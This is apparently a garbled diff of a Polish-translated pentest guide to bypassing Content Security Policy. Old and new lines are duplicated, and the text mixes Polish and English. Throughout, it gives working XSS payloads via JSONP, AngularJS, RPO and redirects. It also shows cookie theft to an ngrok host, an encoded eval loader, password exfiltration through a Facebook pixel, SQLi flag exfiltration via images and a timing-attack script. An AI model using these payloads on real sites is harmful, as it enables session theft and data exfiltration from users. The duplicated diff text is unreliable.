Możliwe jest wykorzystanie Google Apps Script do otrzymywania informacji na stronie wewnątrz script.google.com. Jak opisano to w tym raporcie: [done in this report](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
|
||||
|
||||
### Third Party Endpoints + JSONP
|
||||
### Endpointy stron trzecich + JSONP
|
||||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
Scenariusze takie jak ten, w którym `script-src` jest ustawione na `self` oraz na określoną domenę, która jest na liście dozwolonych, mogą być obejście za pomocą JSONP. Punkty końcowe JSONP pozwalają na niebezpieczne metody wywołań zwrotnych, co umożliwia atakującemu przeprowadzenie XSS, działający ładunek:
|
||||
Sytuacje takie jak ta, w których `script-src` jest ustawione na `self` i konkretna domena jest umieszczona na białej liście, można obejść za pomocą JSONP. Endpointy JSONP pozwalają na niebezpieczne metody callback, które umożliwiają atakującemu wykonanie XSS, działający payload:
|
||||
```html
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
@ -288,56 +289,56 @@ https://www.youtube.com/oembed?callback=alert;
|
||||
```html
|
||||
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
|
||||
```
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **zawiera gotowe do użycia punkty końcowe JSONP do obejścia CSP różnych stron internetowych.**
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **zawiera gotowe do użycia JSONP endpoints umożliwiające CSP bypass różnych stron.**
|
||||
|
||||
Ta sama podatność wystąpi, jeśli **zaufany punkt końcowy zawiera Open Redirect**, ponieważ jeśli początkowy punkt końcowy jest zaufany, przekierowania są zaufane.
|
||||
Ta sama podatność wystąpi, jeśli **zaufany endpoint zawiera Open Redirect**, ponieważ jeśli początkowy endpoint jest zaufany, przekierowania również będą zaufane.
|
||||
|
||||
### Nadużycia ze strony osób trzecich
|
||||
### Nadużycia stron trzecich
|
||||
|
||||
Jak opisano w [następującym poście](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), istnieje wiele domen osób trzecich, które mogą być dozwolone gdzieś w CSP, które mogą być nadużywane do eksfiltracji danych lub wykonywania kodu JavaScript. Niektóre z tych osób trzecich to:
|
||||
Jak opisano w [following post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), istnieje wiele domen stron trzecich, które mogą być dopuszczone w CSP i które można nadużyć do exfiltrate danych lub wykonania kodu JavaScript. Niektóre z tych stron trzecich to:
|
||||
|
||||
| Podmiot | Dozwolona domena | Możliwości |
|
||||
| ------------------ | -------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
| Entity | Allowed Domain | Capabilities |
|
||||
| ----------------- | -------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
|
||||
Jeśli znajdziesz którąkolwiek z dozwolonych domen w CSP twojego celu, istnieje szansa, że będziesz mógł obejść CSP, rejestrując się w usłudze osób trzecich i eksfiltrując dane do tej usługi lub wykonując kod.
|
||||
Jeśli znajdziesz którąkolwiek z dozwolonych domen w CSP Twojego targetu, istnieje duża szansa, że będziesz w stanie obejść CSP rejestrując się w serwisie stron trzecich i albo exfiltrate dane do tego serwisu, albo wykonać kod.
|
||||
|
||||
Na przykład, jeśli znajdziesz następujące CSP:
|
||||
For example, if you find the following CSP:
|
||||
```
|
||||
Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||||
```
|
||||
or
|
||||
lub
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
Powinieneś być w stanie wyeksportować dane, podobnie jak zawsze robiono to z [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). W tym przypadku postępujesz zgodnie z tymi ogólnymi krokami:
|
||||
You should be able to exfiltrate data, similarly as it has always be done with [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). In this case, you follow these general steps:
|
||||
|
||||
1. Utwórz konto dewelopera Facebook tutaj.
|
||||
2. Utwórz nową aplikację "Facebook Login" i wybierz "Strona internetowa".
|
||||
3. Przejdź do "Ustawienia -> Podstawowe" i zdobądź swój "App ID".
|
||||
4. Na docelowej stronie, z której chcesz wyeksportować dane, możesz wyeksportować dane, bezpośrednio używając gadżetu SDK Facebooka "fbq" przez "customEvent" i ładunek danych.
|
||||
5. Przejdź do swojego "Event Manager" aplikacji i wybierz utworzoną aplikację (zauważ, że menedżer wydarzeń można znaleźć pod adresem URL podobnym do tego: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||
6. Wybierz zakładkę "Test Events", aby zobaczyć wydarzenia wysyłane przez "twoją" stronę internetową.
|
||||
1. Utwórz konto Facebook Developer tutaj.
|
||||
2. Utwórz nową aplikację "Facebook Login" i wybierz "Website".
|
||||
3. Przejdź do "Settings -> Basic" i pobierz swój "App ID"
|
||||
4. Na docelowej stronie, z której chcesz exfiltrate data, możesz to zrobić, używając bezpośrednio Facebook SDK (gadget "fbq") przez "customEvent" i przekazując data payload.
|
||||
5. Przejdź do swojego App "Event Manager" i wybierz aplikację, którą utworzyłeś (uwaga: event manager można znaleźć pod URL podobnym do tego: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
|
||||
6. Wybierz zakładkę "Test Events", aby zobaczyć eventy wysyłane przez "twoją" stronę.
|
||||
|
||||
Następnie, po stronie ofiary, wykonujesz następujący kod, aby zainicjować piksel śledzenia Facebooka, wskazując na app-id konta dewelopera napastnika i wydając niestandardowe wydarzenie w ten sposób:
|
||||
Then, on the victim side, you execute the following code to initialize the Facebook tracking pixel to point to the attacker's Facebook developer account app-id and issue a custom event like this:
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
Jeśli chodzi o pozostałe siedem domen zewnętrznych określonych w poprzedniej tabeli, istnieje wiele innych sposobów, w jakie można je nadużyć. Odwołaj się do wcześniej [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) w celu uzyskania dodatkowych wyjaśnień dotyczących innych nadużyć związanych z zewnętrznymi.
|
||||
Jeśli chodzi o pozostałe siedem domen third-party wymienionych w poprzedniej tabeli, istnieje wiele innych sposobów ich nadużycia. Zobacz wcześniej [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) po dodatkowe wyjaśnienia na temat innych nadużyć third-party.
|
||||
|
||||
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
Oprócz wspomnianego wcześniej przekierowania w celu obejścia ograniczeń ścieżki, istnieje inna technika zwana Relative Path Overwrite (RPO), która może być używana na niektórych serwerach.
|
||||
Oprócz wspomnianego przekierowania służącego do obejścia ograniczeń ścieżki, istnieje inna technika nazwana Relative Path Overwrite (RPO), którą można zastosować na niektórych serwerach.
|
||||
|
||||
Na przykład, jeśli CSP zezwala na ścieżkę `https://example.com/scripts/react/`, można ją obejść w następujący sposób:
|
||||
```html
|
||||
@ -347,15 +348,15 @@ Przeglądarka ostatecznie załaduje `https://example.com/scripts/angular/angular
|
||||
|
||||
Działa to, ponieważ dla przeglądarki ładujesz plik o nazwie `..%2fangular%2fangular.js` znajdujący się pod `https://example.com/scripts/react/`, co jest zgodne z CSP.
|
||||
|
||||
∑, zdekodują to, skutecznie żądając `https://example.com/scripts/react/../angular/angular.js`, co jest równoważne `https://example.com/scripts/angular/angular.js`.
|
||||
Przeglądarka je zdekoduje, skutecznie żądając `https://example.com/scripts/react/../angular/angular.js`, co jest równoważne `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Poprzez **wykorzystanie tej niespójności w interpretacji URL między przeglądarką a serwerem, zasady ścieżki mogą być obejście**.
|
||||
Poprzez **wykorzystanie tej niespójności w interpretacji URL między przeglądarką a serwerem można obejść reguły dotyczące ścieżek**.
|
||||
|
||||
Rozwiązaniem jest nie traktowanie `%2f` jako `/` po stronie serwera, zapewniając spójną interpretację między przeglądarką a serwerem, aby uniknąć tego problemu.
|
||||
Rozwiązaniem jest, aby nie traktować `%2f` jako `/` po stronie serwera, zapewniając spójną interpretację między przeglądarką a serwerem, aby uniknąć tego problemu.
|
||||
|
||||
Przykład online:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
|
||||
### Wykonanie JS w Iframe
|
||||
### Wykonywanie JS w iframe'ach
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -364,33 +365,33 @@ Przykład online:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbi
|
||||
|
||||
### brak **base-uri**
|
||||
|
||||
Jeśli dyrektywa **base-uri** jest brakująca, możesz to wykorzystać do przeprowadzenia [**wstrzyknięcia wiszącego markup**](../dangling-markup-html-scriptless-injection/index.html).
|
||||
Jeśli dyrektywa **base-uri** jest nieobecna, możesz to wykorzystać do przeprowadzenia [**dangling markup injection**](../dangling-markup-html-scriptless-injection/index.html).
|
||||
|
||||
Co więcej, jeśli **strona ładuje skrypt za pomocą względnej ścieżki** (jak `<script src="/js/app.js">`) używając **Nonce**, możesz wykorzystać **tag** **base**, aby **załadować** skrypt z **twojego własnego serwera, osiągając XSS.**\
|
||||
Jeśli podatna strona jest ładowana z **httpS**, użyj adresu httpS w tagu base.
|
||||
Ponadto, jeśli **strona ładuje skrypt używając ścieżki względnej** (jak `<script src="/js/app.js">`) z użyciem **Nonce**, możesz nadużyć **base** **tag**, aby **załadować** skrypt z **twojego własnego serwera, osiągając XSS.**\
|
||||
Jeśli podatna strona jest ładowana przez **httpS**, użyj httpS url w tagu base.
|
||||
```html
|
||||
<base href="https://www.attacker.com/" />
|
||||
```
|
||||
### AngularJS events
|
||||
### Zdarzenia AngularJS
|
||||
|
||||
Specyficzna polityka znana jako Content Security Policy (CSP) może ograniczać zdarzenia JavaScript. Niemniej jednak, AngularJS wprowadza niestandardowe zdarzenia jako alternatywę. W ramach zdarzenia, AngularJS dostarcza unikalny obiekt `$event`, odnoszący się do natywnego obiektu zdarzenia przeglądarki. Obiekt `$event` może być wykorzystany do obejścia CSP. Co ważne, w Chrome, obiekt `$event/event` posiada atrybut `path`, zawierający tablicę obiektów zaangażowanych w łańcuch wykonania zdarzenia, z obiektem `window` zawsze umiejscowionym na końcu. Ta struktura jest kluczowa dla taktyk ucieczki z piaskownicy.
|
||||
Pewna polityka, znana jako Content Security Policy (CSP), może ograniczać zdarzenia JavaScript. Jednak AngularJS wprowadza własne zdarzenia jako alternatywę. W ramach zdarzenia AngularJS udostępnia unikalny obiekt `$event`, odwołujący się do natywnego obiektu zdarzenia przeglądarki. Ten obiekt `$event` można wykorzystać do obejścia CSP. W szczególności w Chrome obiekt `$event/event` posiada atrybut `path`, zawierający tablicę obiektów zaangażowanych w łańcuch wykonywania zdarzenia, przy czym obiekt `window` znajduje się zawsze na końcu. Ta struktura jest kluczowa dla sandbox escape tactics.
|
||||
|
||||
Kierując tę tablicę do filtra `orderBy`, możliwe jest iterowanie po niej, wykorzystując element końcowy (obiekt `window`) do wywołania globalnej funkcji, takiej jak `alert()`. Poniższy fragment kodu ilustruje ten proces:
|
||||
Przekierowując tę tablicę do filtra `orderBy`, można po niej iterować i wykorzystać element końcowy (obiekt `window`), żeby wywołać globalną funkcję taką jak `alert()`. Poniższy fragment kodu ilustruje ten proces:
|
||||
```xml
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
```
|
||||
Ten fragment podkreśla użycie dyrektywy `ng-focus` do wywołania zdarzenia, wykorzystując `$event.path|orderBy` do manipulacji tablicą `path`, oraz korzystając z obiektu `window` do wykonania funkcji `alert()`, ujawniając w ten sposób `document.cookie`.
|
||||
Ten fragment podkreśla użycie dyrektywy `ng-focus` do wywołania zdarzenia, wykorzystując `$event.path|orderBy` do manipulacji tablicą `path` oraz używając obiektu `window` do wykonania funkcji `alert()`, ujawniając w ten sposób `document.cookie`.
|
||||
|
||||
**Znajdź inne obejścia Angulara w** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
**Znajdź inne Angular bypasses na** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
|
||||
### AngularJS i dozwolona domena
|
||||
### AngularJS i whitelisted domain
|
||||
```
|
||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
|
||||
```
|
||||
Polityka CSP, która zezwala na ładowanie skryptów z określonych domen w aplikacji Angular JS, może być obejściem poprzez wywołanie funkcji zwrotnych i niektórych podatnych klas. Dalsze informacje na ten temat można znaleźć w szczegółowym przewodniku dostępnym w tym [repozytorium git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
|
||||
Polityka CSP, która dopuszcza określone domeny do ładowania skryptów w aplikacji Angular JS, może zostać ominięta poprzez wywołanie funkcji callback oraz wykorzystanie niektórych podatnych klas. Dalsze informacje na temat tej techniki można znaleźć w szczegółowym przewodniku dostępnym w tym [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
|
||||
|
||||
Działające ładunki:
|
||||
Działające payloads:
|
||||
```html
|
||||
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
|
||||
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
|
||||
@ -398,13 +399,13 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
||||
<!-- no longer working -->
|
||||
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
|
||||
```
|
||||
Inne punkty końcowe do dowolnego wykonania JSONP można znaleźć w [**tutaj**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (niektóre z nich zostały usunięte lub naprawione)
|
||||
Inne JSONP arbitrary execution endpoints można znaleźć w [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (niektóre z nich zostały usunięte lub naprawione)
|
||||
|
||||
### Ominięcie przez Przekierowanie
|
||||
### Obejście przez przekierowanie
|
||||
|
||||
Co się dzieje, gdy CSP napotyka przekierowanie po stronie serwera? Jeśli przekierowanie prowadzi do innego pochodzenia, które nie jest dozwolone, nadal zakończy się niepowodzeniem.
|
||||
Co się dzieje, gdy CSP napotyka przekierowanie po stronie serwera? Jeśli przekierowanie prowadzi do innego originu, który nie jest dozwolony, to i tak się nie powiedzie.
|
||||
|
||||
Jednak zgodnie z opisem w [CSP spec 4.2.2.3. Ścieżki i Przekierowania](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), jeśli przekierowanie prowadzi do innej ścieżki, może obejść oryginalne ograniczenia.
|
||||
Jednak zgodnie z opisem w [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), jeśli przekierowanie prowadzi do innej ścieżki, może ono ominąć pierwotne ograniczenia.
|
||||
|
||||
Oto przykład:
|
||||
```html
|
||||
@ -424,25 +425,25 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
Jeśli CSP jest ustawione na `https://www.google.com/a/b/c/d`, ponieważ ścieżka jest brana pod uwagę, zarówno skrypty `/test`, jak i `/a/test` będą blokowane przez CSP.
|
||||
Jeżeli CSP jest ustawione na `https://www.google.com/a/b/c/d`, ponieważ uwzględniana jest ścieżka, zarówno skrypty z `/test`, jak i z `/a/test` zostaną zablokowane przez CSP.
|
||||
|
||||
Jednakże, ostateczne `http://localhost:5555/301` będzie **przekierowywane po stronie serwera do `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Ponieważ jest to przekierowanie, **ścieżka nie jest brana pod uwagę**, a **skrypt może być załadowany**, co omija ograniczenie ścieżki.
|
||||
Jednak końcowy `http://localhost:5555/301` zostanie **przekierowany po stronie serwera do `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Ponieważ jest to przekierowanie, **ścieżka nie jest brana pod uwagę**, a **skrypt może zostać załadowany**, omijając ograniczenie ścieżki.
|
||||
|
||||
Dzięki temu przekierowaniu, nawet jeśli ścieżka jest całkowicie określona, nadal będzie omijana.
|
||||
Dzięki temu przekierowaniu, nawet jeśli ścieżka jest określona w całości, nadal można ją obejść.
|
||||
|
||||
Dlatego najlepszym rozwiązaniem jest upewnienie się, że strona internetowa nie ma żadnych luk w przekierowaniach oraz że nie ma domen, które mogą być wykorzystane w regułach CSP.
|
||||
Najlepszym rozwiązaniem jest więc upewnić się, że strona nie ma żadnych podatności typu open redirect oraz że w regułach CSP nie występują domeny, które można wykorzystać.
|
||||
|
||||
### Ominięcie CSP z wiszącym markupem
|
||||
### Bypass CSP with dangling markup
|
||||
|
||||
Przeczytaj [jak tutaj](../dangling-markup-html-scriptless-injection/index.html).
|
||||
Przeczytaj [how here](../dangling-markup-html-scriptless-injection/index.html).
|
||||
|
||||
### 'unsafe-inline'; img-src \*; przez XSS
|
||||
### 'unsafe-inline'; img-src \*; via XSS
|
||||
```
|
||||
default-src 'self' 'unsafe-inline'; img-src *;
|
||||
```
|
||||
`'unsafe-inline'` oznacza, że możesz wykonać dowolny skrypt w kodzie (XSS może wykonać kod), a `img-src *` oznacza, że możesz używać na stronie internetowej dowolnego obrazu z dowolnego źródła.
|
||||
`'unsafe-inline'` oznacza, że możesz uruchomić dowolny skrypt w kodzie (XSS może wykonać kod), a `img-src *` oznacza, że możesz użyć na stronie dowolnego obrazu z dowolnego źródła.
|
||||
|
||||
Możesz obejść tę CSP, eksfiltrując dane za pomocą obrazów (w tej sytuacji XSS nadużywa CSRF, gdzie strona dostępna dla bota zawiera SQLi, i wyciąga flagę za pomocą obrazu):
|
||||
Możesz obejść ten CSP, eksfiltrując dane za pomocą obrazów (w tym przypadku XSS wykorzystuje CSRF, gdzie strona dostępna dla bota zawiera SQLi i wyciąga flagę przez obraz):
|
||||
```javascript
|
||||
<script>
|
||||
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
|
||||
@ -451,41 +452,41 @@ Image().src='http://PLAYER_SERVER/?'+_)
|
||||
```
|
||||
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
Możesz również nadużyć tej konfiguracji, aby **załadować kod javascript wstawiony w obraz**. Jeśli na przykład strona pozwala na ładowanie obrazów z Twittera. Możesz **stworzyć** **specjalny obraz**, **przesłać** go na Twittera i nadużyć "**unsafe-inline**", aby **wykonać** kod JS (jak w przypadku zwykłego XSS), który **załaduje** **obraz**, **wyodrębni** **JS** z niego i **wykona** **go**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
Możesz także wykorzystać tę konfigurację do **załadowania kodu javascript umieszczonego wewnątrz obrazu**. Jeśli na przykład strona pozwala na ładowanie obrazów z Twittera, możesz **stworzyć** **specjalny obraz**, **uploadować** go na Twittera i wykorzystać "**unsafe-inline**" do **wykonania** kodu JS (jak zwykły XSS), który **załaduje** obraz, **wyodrębni** z niego **JS** i **wykona** **go**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### Z użyciem Service Workers
|
||||
### Z Service Workers
|
||||
|
||||
Funkcja **`importScripts`** w service workers nie jest ograniczona przez CSP:
|
||||
Funkcja `importScripts` w Service workers nie jest ograniczona przez CSP:
|
||||
|
||||
{{#ref}}
|
||||
../xss-cross-site-scripting/abusing-service-workers.md
|
||||
{{#endref}}
|
||||
|
||||
### Wstrzykiwanie polityki
|
||||
### Policy Injection
|
||||
|
||||
**Badania:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
|
||||
|
||||
#### Chrome
|
||||
|
||||
Jeśli **parametr** wysłany przez Ciebie jest **wklejany wewnątrz** **deklaracji** **polityki**, to możesz **zmienić** **politykę** w taki sposób, że stanie się **bezużyteczna**. Możesz **zezwolić na skrypt 'unsafe-inline'** przy użyciu dowolnego z tych obejść:
|
||||
Jeśli wysyłany przez Ciebie **parametr** jest **wklejany wewnątrz** **deklaracji** **polityki**, możesz w pewien sposób **zmienić** **politykę**, czyniąc ją **bezużyteczną**. Możesz **zezwolić skryptom 'unsafe-inline'** za pomocą jednego z następujących obejść:
|
||||
```bash
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
```
|
||||
Ponieważ ta dyrektywa **nadpisze istniejące dyrektywy script-src**.\
|
||||
Możesz znaleźć przykład tutaj: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
Przykład znajdziesz tutaj: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
|
||||
#### Edge
|
||||
|
||||
W Edge jest to znacznie prostsze. Jeśli możesz dodać w CSP tylko to: **`;_`** **Edge** **odrzuci** całą **politykę**.\
|
||||
Przykład: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
|
||||
W Edge jest to dużo prostsze. Jeśli możesz dodać do CSP tylko to: **`;_`** **Edge** usunie całą **politykę**.\
|
||||
Example: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
|
||||
|
||||
### img-src \*; przez XSS (iframe) - Atak czasowy
|
||||
### img-src \*; via XSS (iframe) - Time attack
|
||||
|
||||
Zauważ brak dyrektywy `'unsafe-inline'`\
|
||||
Tym razem możesz sprawić, że ofiara **załaduje** stronę pod **twoją kontrolą** przez **XSS** z `<iframe`. Tym razem sprawisz, że ofiara uzyska dostęp do strony, z której chcesz wyciągnąć informacje (**CSRF**). Nie możesz uzyskać dostępu do zawartości strony, ale jeśli w jakiś sposób możesz **kontrolować czas, jaki strona potrzebuje na załadowanie**, możesz wyciągnąć potrzebne informacje.
|
||||
Tym razem możesz sprawić, że ofiara **załaduje** stronę pod **twoją kontrolą** przez **XSS** za pomocą `<iframe`. Tym razem sprawisz, że ofiara uzyska dostęp do strony, z której chcesz wyodrębnić informacje (**CSRF**). Nie możesz uzyskać dostępu do treści strony, ale jeśli w jakiś sposób potrafisz **kontrolować czas ładowania strony**, możesz wyodrębnić potrzebne informacje.
|
||||
|
||||
Tym razem **flaga** zostanie wyciągnięta, gdy **znak zostanie poprawnie odgadnięty** przez SQLi, **odpowiedź** zajmuje **więcej czasu** z powodu funkcji sleep. Wtedy będziesz mógł wyciągnąć flagę:
|
||||
Tym razem zostanie wyekstrahowany **flag** — za każdym razem, gdy **char zostanie poprawnie odgadnięty** przez SQLi, **response** zajmuje **więcej czasu** z powodu funkcji sleep. Wtedy będziesz w stanie wyodrębnić flag:
|
||||
```html
|
||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
|
||||
@ -545,24 +546,24 @@ console.log(prefix)
|
||||
run()
|
||||
</script>
|
||||
```
|
||||
### Via Bookmarklets
|
||||
### Przez Bookmarklets
|
||||
|
||||
Ten atak wymagałby pewnego inżynierii społecznej, w której atakujący **przekonuje użytkownika do przeciągnięcia i upuszczenia linku na zakładkę przeglądarki**. Ta zakładka zawierałaby **złośliwy kod javascript**, który po przeciągnięciu lub kliknięciu byłby wykonywany w kontekście bieżącego okna przeglądarki, **omijając CSP i umożliwiając kradzież wrażliwych informacji** takich jak ciasteczka czy tokeny.
|
||||
Ten atak zakłada pewien social engineering, w którym atakujący **przekonuje użytkownika do przeciągnięcia i upuszczenia linku na bookmarklet przeglądarki**. Ten bookmarklet zawierałby **złośliwy kod javascript**, który po przeciągnięciu i upuszczeniu lub kliknięciu zostanie wykonany w kontekście bieżącego okna przeglądarki, **omijając CSP i umożliwiając kradzież wrażliwych informacji** takich jak cookies lub tokens.
|
||||
|
||||
Dla uzyskania więcej informacji [**sprawdź oryginalny raport tutaj**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### CSP bypass by restricting CSP
|
||||
|
||||
W [**tym opisie CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP jest omijany przez wstrzyknięcie wewnątrz dozwolonego iframe bardziej restrykcyjnego CSP, który zabraniał ładowania konkretnego pliku JS, który następnie, poprzez **zanieczyszczenie prototypu** lub **dom clobbering**, pozwalał na **wykorzystanie innego skryptu do załadowania dowolnego skryptu**.
|
||||
In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**.
|
||||
|
||||
Możesz **ograniczyć CSP iframe** za pomocą atrybutu **`csp`**:
|
||||
You can **restrict a CSP of an Iframe** with the **`csp`** attribute:
|
||||
```html
|
||||
<iframe
|
||||
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||||
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
||||
